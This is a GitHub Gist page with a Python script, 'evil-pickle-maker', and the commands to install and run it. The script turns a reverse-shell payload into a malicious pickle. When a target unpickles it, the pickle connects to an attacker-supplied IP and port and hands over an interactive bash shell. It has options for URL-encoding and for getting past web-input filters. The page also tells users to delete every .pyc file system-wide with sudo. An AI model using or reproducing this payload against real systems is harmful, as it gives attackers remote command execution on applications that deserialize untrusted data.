This is a Tinyscript wrapper for this Gist, working with Python 2 and 3.
$ pip install tinyscript
$ tsm install evil-pickle-maker
$ evil-pickle-maker 1.2.3.4 12345
This is a Tinyscript wrapper for this Gist, working with Python 2 and 3.
$ pip install tinyscript
$ tsm install evil-pickle-maker
$ evil-pickle-maker 1.2.3.4 12345
| #!/usr/bin/env python | |
| import marshal | |
| from tinyscript import * | |
| __author__ = "Alexandre D'Hondt" | |
| __version__ = "1.1" | |
| __copyright__ = ("A. D'Hondt", 2020) | |
| __license__ = "gpl-3.0" | |
| __examples__ = ["1.2.3.4 12345 > evil.pickle"] | |
| __reference__ = "https://gist.githubusercontent.com/BGrewell/ba619281070cc6185d81e32791a2289e/raw/" \ | |
| "fb63ce7aec76b2bf3313cae0333d1603d183550b/rotten_pickle.py" | |
| __doc__ = """ | |
| *Evil Pickle Maker* is a Tinyscript wrapper for the aforementioned Gist. | |
| This script creates a reverse shell that will be executed when the python pickle package attempts to unpickle it. | |
| It can pickle any python code and execute it on the target when it is unpickled as long as the target has whatever | |
| modules you try to import. This code base64 encodes the python code so that it can be passed around as ASCII/Unicode | |
| text. It optionally URL encodes it so that it can be submitted through webforms ect. | |
| Important note: With Python3, you could experience the following error: "ValueError: bad marshal data (unknown type code)" | |
| In this case, execute "sudo find / -name '*.pyc' -delete" to remove all pre-compiled Python files and retry. | |
| """ | |
| SCRIPTNAME_FORMAT = "none" | |
| # This is the main skeleton for building our payloads. It will be modified to include our custom function(s) in the | |
| # wrapper below. Do not modify this unless you know what you are doing. | |
| SKELETON = """ctypes | |
| FunctionType | |
| (cmarshal | |
| loads | |
| (cbase64 | |
| b64decode | |
| (S'{0}' | |
| tRtRc__builtin__ | |
| globals | |
| (tRS'' | |
| tR(tR.{1} | |
| """ | |
| PAYLOAD = """ | |
| def wrapper(): | |
| import socket,subprocess,os | |
| s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect(("{}", {})) | |
| os.dup2(s.fileno(), 0) | |
| os.dup2(s.fileno(), 1) | |
| os.dup2(s.fileno(), 2) | |
| p=subprocess.call(["/bin/bash", "-i"]) | |
| """ | |
| if __name__ == '__main__': | |
| parser.add_argument("ip", type=ts.ip_address, help="attacker's IP address") | |
| parser.add_argument("port", type=ts.port_number, help="attacker's port number") | |
| parser.add_argument("-a", "--append", default="", help="custom text (or instructions) to include", | |
| note="this can be useful for bypassing filtering on web inputs") | |
| parser.add_argument("-l", "--line-endings", default="\n", help="characters to use for line endings", | |
| note="if these don't match the target you can get weird import errors") | |
| parser.add_argument("-u", "--url-encode", action="store_true", help="URL encode the resulting payload") | |
| initialize() | |
| exec(PAYLOAD.format(args.ip, args.port)) | |
| payload = ensure_str(base64.b64encode(marshal.dumps(wrapper.__code__ if PYTHON3 else wrapper.func_code))) | |
| logger.debug("Payload:\n" + payload) | |
| rotten_pickle = SKELETON.format(payload, args.append).strip() | |
| if "\r" in args.line_endings: | |
| rotten_pickle = rotten_pickle.replace("\n", "\r\n") | |
| if "\n" not in args.line_endings: | |
| rotten_pickle = rotten_pickle.replace("\n", "") | |
| if args.url_encode: | |
| rotten_pickle = codecs.encode(rotten_pickle, "url") | |
| print(rotten_pickle) |